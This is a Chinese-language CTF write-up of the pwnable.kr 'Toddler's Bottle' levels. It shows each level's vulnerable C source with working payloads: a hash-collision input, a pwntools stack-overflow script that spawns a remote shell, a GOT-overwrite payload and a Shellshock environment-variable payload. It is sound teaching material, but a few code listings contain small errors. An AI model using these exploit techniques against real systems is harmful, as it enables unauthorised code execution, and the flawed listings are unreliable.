pwn学习-pwnable.kr – [Toddler’s Bottle]

发布于 2020-12-27  1179 次阅读


0xFF

没错我又开了新坑

0x00 fd

题目信息:

Mommy! what is a file descriptor in Linux?
* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw
ssh fd@pwnable.kr -p2222 (pw:guest)

ssh连接上给我们的地址,先ls一下,发现三个文件

fd fd.c flag

好家伙,看见flag先cat一下

fd@pwnable:~$ cat flag
cat: flag: Permission denied

权限不足,那来看一下源码嘛:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

程序先对argc参数进行数量判断,参数数量必须大于等于2。

argc: 整数,用来统计你运行程序时送给main函数的命令行参数的个数
* argv[ ]: 指针数组,用来存放指向你的字符串参数的指针,每一个元素指向一个参数
argv[0] 指向程序运行的全路径名
argv[1] 指向在DOS命令行中执行程序名后的第一个字符串
argv[2] 指向执行程序名后的第二个字符串
...

然后程序会将 argv[1] 参数转化成整形,减去0x1234,也就是十进制的4660,赋值给fd,然后调用read函数,fd作为read函数的第一个参数,输入给buf。然后判断buf是否和字符串"LETMEWIN\n"相等,相等则输出flag。

read (int fd, void *buf, size_t count);
read函数的功能为:从fd所指的文件中,读取count个字节的数据,到buf所指的缓冲区中。
而当fd为0时,read函数将从命令行读入一个标准输入stdin。
stdin 0      标准输入
stdout 1      标准输出
stderr 2      标准错误输出

也就是说read函数的fd参数为0即可对buf进行输入。

fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

0x01 collision

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

输入要求通过函数check_password()后,返回值等于0x21DD09EC

函数check_password()的参数char* p为char型指针,我们传入了一个char型的p,然后使用 (int*)进行强制转换成int指针。char的存储大小为1字节,而int的存储大小为4字节,也就是说我们将输入的p转换成了5个数组,而这5个数组相加之和要等于0x21DD09EC。

于是我们可以构造一下,使得五个数组相加后等于0x21DD09EC。

>>> hex(0x21DD09EC - 4*0x04555555)
'0x1087b498'

只要前四个数组为0x04555555,第五个数组为0x1087b498即可符合要求。

十六进制数在内存中的储存方式,例如0x12345678在内存中储存为:/x78/x56/x34x/12

于是payload可以构造为:

col@pwnable:~$ ./col `python -c "print '\x55\x55\x55\x04' * 4 + '\x98\xb4\x87\x10'"`
daddy! I just managed to create a hash collision :)

col@pwnable:~$ ./col `python -c "print '\x55\x55\x55\x04' * 4 + '\x98\xb4\x87\x10'"`
daddy! I just managed to create a hash collision :)

0x02 bof

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000

这次和前两题不一样了还,不用ssh连接了,先看看源码吧。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char [32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

简单的栈溢出,程序拖入ida查看参数在栈上的位置,overflowme在ebp+0x2c处,key在ebp-0x8处。

exp:

from pwn import *

io = remote('pwnable.kr',9000)

payload = 'a' * (0x2c + 0x8) + p64(0xcafebabe)

io.sendline(payload)
io.interactive()

0x03 flag

Papa brought me a packed present! let's open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary

下载文件,checksec一下

什么都没开,但是有upx加壳,给他脱壳一下。

upx -d flag

拿到脱壳后的程序,拖入ida反编译一下,得到源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *dest; // ST08_8

  puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
  dest = (char *)malloc(100LL);
  strcpy(dest, flag);
  return 0;
}

双击一下参数flag,找到完整的字符串。

最后还有个:)不能少了,,,

0X04 passcode

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

先运行一下程序,输入一个名字,然后输入338150,还没开始输入passcode2,就显示 Segmentation fault (core dumped)

Segmentation fault (core dumped)多为内存不当操作造成。空指针、野指针的读写操作,数组越界访问,破坏常量等。

在好好看看源码,好家伙,两处scanf处都没有加上取地址符,就会将栈上这个位置原本的值作为scanf输入参数的地址,自然会造成非法地址访问,程序报错。

scanf("%d", passcode1);
scanf("%d", passcode2);

用gdb调试一下,进入welcome函数后,查看ebp寄存器的值为0xffffd048

继续运行,到了输入name的地方,输入'aaaa',name在栈上的地址为0xffffcfd8

进入login函数,查看ebp寄存器的值居然也为0xffffd048,和welcome函数的栈底地址相同。

继续步入,到了调用scanf函数之前,发现scanf函数的参数为[ebp - 0x10],也就是0xffffd038处。

这里由于main函数连续call了welcomelogin函数,所以导致调用两个函数时栈底地址相同。

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048665 <+0>: push   ebp
   0x08048666 <+1>: mov    ebp,esp
   0x08048668 <+3>: and    esp,0xfffffff0
   0x0804866b <+6>: sub    esp,0x10
   0x0804866e <+9>: mov    DWORD PTR [esp],0x80487f0
   0x08048675 <+16>:    call   0x8048450 <puts@plt>
   0x0804867a <+21>:    call   0x8048609 <welcome>
   0x0804867f <+26>:    call   0x8048564 <login>
   0x08048684 <+31>:    mov    DWORD PTR [esp],0x8048818
   0x0804868b <+38>:    call   0x8048450 <puts@plt>
   0x08048690 <+43>:    mov    eax,0x0
   0x08048695 <+48>:    leave
   0x08048696 <+49>:    ret
End of assembler dump.

将name和passcode两个参数的地址相减,0xffffd038 - 0xffffcfd8 = 0x60 = 96 ,而name的大小为100,也就是说name的最后四位内容就能够覆盖掉passcode原本的内容。

程序报错的原因就是因为passcode原本的值是一个非法地址,如果我们将其改为一个可写的地址就能够进行正常的运行了。

但是passcode2的地址是在[ebp - 0xc]处,超出了name的覆盖范围,无法进行修改。

这里我们可以对got表进行修改,找到printf在got表中的地址,为0x0804a000

然后将程序放入ida中,找到login函数中调用system函数读取flag的地址

将共同表中的printf函数的地址修改为system的地址,调用printf("enter passcode2 : ");时就会变为system("/bin/cat flag");

payload为:

python -c "print 'a' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode

0X05 random

ssh连上后先查看源码。

rand() 生成随机数,然后输入参数key,让key和random进行异或运算。将结果与0xdeadbeef进行对比,相同输出flag。

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

这里使用gdb在 rand() 后打下断点,运行,发现random的值为0x6b8b4567

这里使用 rand() 生成随机数,由于没有 srand() 生成随机数种子,会自动设随机数种子为1,因此 rand() 生成的就是伪随机数,每次都是一个固定值。

>>> 0xdeadbeef ^ 0x6b8b4567
3039230856

提交十进制数3039230856获取flag。

0X06 input

不会,,先留个坑,之后学习之后补上

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");

    // stdio
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
    if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n"); 

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");
    return 0;
}

0x07 leg

代码逻辑很简单,输入一个key值,然后将其与三个函数 key1() + key2() + key3() 返回值之和进行比较,相等则输出flag。看源码的汇编看不出来,直接来看看编译后的汇编吧。

#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push   {r6}\n"
    "add    r6, pc, $1\n"
    "bx r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push   {r3}\n"
    "pop    {pc}\n"
    ".code  32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Daddy has very strong arm! : ");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
        int fd = open("flag", O_RDONLY);
        char buf[100];
        int r = read(fd, buf, 100);
        write(0, buf, r);
    }
    else{
        printf("I have strong leg :P\n");
    }
    return 0;
}
(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>: push    {r4, r11, lr}
   0x00008d40 <+4>: add r11, sp, #8
   0x00008d44 <+8>: sub sp, sp, #12
   0x00008d48 <+12>:    mov r3, #0
   0x00008d4c <+16>:    str r3, [r11, #-16]
   0x00008d50 <+20>:    ldr r0, [pc, #104]  ; 0x8dc0 <main+132>
   0x00008d54 <+24>:    bl  0xfb6c <printf>
   0x00008d58 <+28>:    sub r3, r11, #16
   0x00008d5c <+32>:    ldr r0, [pc, #96]   ; 0x8dc4 <main+136>
   0x00008d60 <+36>:    mov r1, r3
   0x00008d64 <+40>:    bl  0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:    bl  0x8cd4 <key1>
   0x00008d6c <+48>:    mov r4, r0
   0x00008d70 <+52>:    bl  0x8cf0 <key2>
   0x00008d74 <+56>:    mov r3, r0
   0x00008d78 <+60>:    add r4, r4, r3
   0x00008d7c <+64>:    bl  0x8d20 <key3>
   0x00008d80 <+68>:    mov r3, r0
   0x00008d84 <+72>:    add r2, r4, r3
   0x00008d88 <+76>:    ldr r3, [r11, #-16]
   0x00008d8c <+80>:    cmp r2, r3
   0x00008d90 <+84>:    bne 0x8da8 <main+108>
   0x00008d94 <+88>:    ldr r0, [pc, #44]   ; 0x8dc8 <main+140>
   0x00008d98 <+92>:    bl  0x1050c <puts>
   0x00008d9c <+96>:    ldr r0, [pc, #40]   ; 0x8dcc <main+144>
   0x00008da0 <+100>:   bl  0xf89c <system>
   0x00008da4 <+104>:   b   0x8db0 <main+116>
   0x00008da8 <+108>:   ldr r0, [pc, #32]   ; 0x8dd0 <main+148>
   0x00008dac <+112>:   bl  0x1050c <puts>
   0x00008db0 <+116>:   mov r3, #0
   0x00008db4 <+120>:   mov r0, r3
   0x00008db8 <+124>:   sub sp, r11, #8
   0x00008dbc <+128>:   pop {r4, r11, pc}
   0x00008dc0 <+132>:   andeq   r10, r6, r12, lsl #9
   0x00008dc4 <+136>:   andeq   r10, r6, r12, lsr #9
   0x00008dc8 <+140>:           ; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:           ; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:   andeq   r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>: add r11, sp, #0
   0x00008cdc <+8>: mov r3, pc
   0x00008ce0 <+12>:    mov r0, r3
   0x00008ce4 <+16>:    sub sp, r11, #0
   0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx  lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>: add r11, sp, #0
   0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add r6, pc, #1
   0x00008d00 <+16>:    bx  r6
   0x00008d04 <+20>:    mov r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop {pc}
   0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov r0, r3
   0x00008d14 <+36>:    sub sp, r11, #0
   0x00008d18 <+40>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx  lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>: add r11, sp, #0
   0x00008d28 <+8>: mov r3, lr
   0x00008d2c <+12>:    mov r0, r3
   0x00008d30 <+16>:    sub sp, r11, #0
   0x00008d34 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx  lr
End of assembler dump.
(gdb)

等寒假先好好学一手汇编,,

0X08 mistake

We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)
This task is based on real event
Thanks to dhmonkey
hint : operator priority
ssh mistake@pwnable.kr -p2222 (pw:guest)

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}

题目先打开"/home/mistake/password",读入password,然后通过read(fd,pw_buf,PW_LEN)初始化pw_buf的值,之后让用户读入一串字符串,为pw_buf2。读入完成后让pw_buf2中的字符每一位都与1进行异或运算,之后与pw_buf进行比较,相同则输出flag。

这题题目给了我们提示:

hint : operator priority

操作符的优先级。

我们可以发现在开始的if语句中是这样写的:

(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)

其中 < 的优先级大于 = ,而 open("/home/mistake/password",O_RDONLY,0400)的返回值又不会低于0,于是 open("/home/mistake/password",O_RDONLY,0400) < 0 的返回值就为0了,然后将其赋值给了参数fd。

之后通过read(fd,pw_buf,PW_LEN)初始化pw_buf的值时,fd为0,输入流为标准输入流,于是我们可以通过人为的输入给pw_buf赋值,也就导致了password的可控性。

先输入0000000000,再输入1111111111即可。

mistake@pwnable:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(

0x09 shellshock

#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}

考了shellshock漏洞,CVE-2014-6271,先贴上payload,寒假要填的坑++

env echo="() { cat flag; }" /home/shellshock/bash -c '/home/shellshock/shellshock'

0x0a coin1

0x0b blackjack